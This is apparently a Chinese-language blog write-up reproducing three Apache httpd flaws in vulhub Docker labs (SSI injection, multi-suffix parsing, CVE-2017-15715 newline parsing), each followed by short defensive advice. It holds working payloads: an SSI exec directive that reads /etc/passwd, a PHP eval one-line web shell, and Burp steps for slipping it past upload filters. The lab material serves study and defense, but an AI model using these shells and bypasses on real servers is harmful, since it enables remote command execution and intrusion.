vulhub-httpd漏洞复现

我的博客：acsec.xyz
微信公众号: Ac sec

一.SSI注入

1.概述

SSI：服务器端嵌入或者叫服务器端包含，是Server Side Include的简写。SSI技术通过在文档中加入SSI指令，让服务器端在输出文档之前解析SSI指令，并把解析完的结果和文档一同输出给客户端。

SSI的指令格式为：<!-- #directive parameter=“value” – >。其中，directive是指令名，parameter指令参数，value指令参数值。

可以看到，就是html注释，Web服务器开启了SSI，并且页面包含可以解析的指令，那么Web服务器就解析这个指令。没开启器SSI或者开启了SSI，但是不是可以解析的指令，那么都当做注释。注意的是，“#”要和directive连在一起，中间不能含有空格。

SSI包含的指令有：

config：修改 SSI 的默认设置
echo：显示环境变量
exec：执行 CGI 脚本
flastmod ：显示指定文件的最后修改日期
fsize：显示指定文件的大小
include：把其它文档插入到当前被解析的文档中

2.环境搭建

前提是已经安装docker，看我前面Java and php反序列化漏洞 | Active Blog (acsec.xyz)这篇文章java反序列化中有安装教程。

systemctl start docker   //启动docker
git clone https://github.com/vulhub/vulhub.git  //拉取vulhub靶场代码
cd /vulhub/httpd/ssi-rce   //进入ssi目录
docker-compose up -d   //启动docker环境

访问http://192.168.60.148:8080/upload.php即可

3.复现

创建文件shell.shtml,写入

<!--#exec cmd="cat /etc/passwd"-->

上传后访问

这里用burp更方便修改内容实现命令执行

docker-compose down  //停止docker

进入下一关

4.防护

• 关闭服务器SSI功能
• 过滤相关SSI特殊字符（<,>,#,-,",’）

---

二.Apache httpd 多后缀解析漏洞

1.概述

httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程，它会建立一个处理请求的子进程或线程的池。

漏洞原理：
apache httpd支持一个文件有多个后缀，如：test1.php.rar。在windows下，会直接根据最后的.来进行分隔，将其判定为pdf文件，但在apache中可不是这样的，apache会从后往前依次进行判别，遇到不认识的后缀，便会往前读，如果还是不认识再往前，若是到最后一个都不认识，则会将该文件当成默认类型文件读取。

在etc目录下有个mime.types文件定义了apache可以识别的文件后缀。以下是该文件部分内容：
该解析漏洞产生的原因一部分是基于apache的这种特性，还有一大部分原因都是由于开发人员的配置不当构成的，当运维人员在配置文件给.php添加了处理器时：AddHandler application/x-httpd-php .php。
多后缀的文件名中只要存在.php后缀，则就会将该文件当做php文件解析。

2.环境搭建

cd /vulhub/httpd/apache_parsing_vulnerability
docker-compose build
docker-compose up -d

访问http://192.168.60.148即可

3.复现

创建shell.pgp.jpg，写入

<?php @eval($_POST['acsec']);?>

上传文件

路径：http://192.168.60.148/uploadfiles/shell.php.jpg

利用：

docker-compose down  //停止docker

4.防护

• 将AddHandler application/x-httpd-php.php的配置文件删除；
• 设置上传目录不可执行；
• 文件上传后重命名:时间戳+后缀名。

---

三.Apache httpd换行解析漏洞(CVE-2017-15715)

1.概述

影响版本：2.4.0 ~ 2.4.29

漏洞原理：
此漏洞的出现是由于apache在修复第一个后缀名解析漏洞时，用正则来匹配后缀。在解析php时xxx.php\x0A将被按照php后缀进行解析，导致绕过一些服务器的安全策略。

在上传文件时，对文件名进行了黑名单限制，我们利用该漏洞上传一个1.php文件，使用burpsuit抓包。在1.php后插入一个\x0A，绕过黑名单过滤。访问1.php%0A，即可看到文件被当做php解析。

2.环境搭建

cd /vulhub/httpd/CVE-2017-15715
docker-compose up -d

访问http://192.168.60.148:8080即可

3.复现

创建evil.php

<?php @eval($_POST['acsec']);?>

burp抓包，在php后面留一个空格出来

把空格的16进制值“20”改成换行符的16进制值“0a”，注意：不要直接改后面的0d、0a，否则没有效果

上传访问http://192.168.60.148:8080/evil.php%0A成功解析

4.防护

• 该漏洞仅针对于apache的2.4.0~2.4.29版本，升级apache版本即可避过该漏洞。
• 获取文件名时使用$_FILES[‘file’] [‘name’]会自动把换行符去掉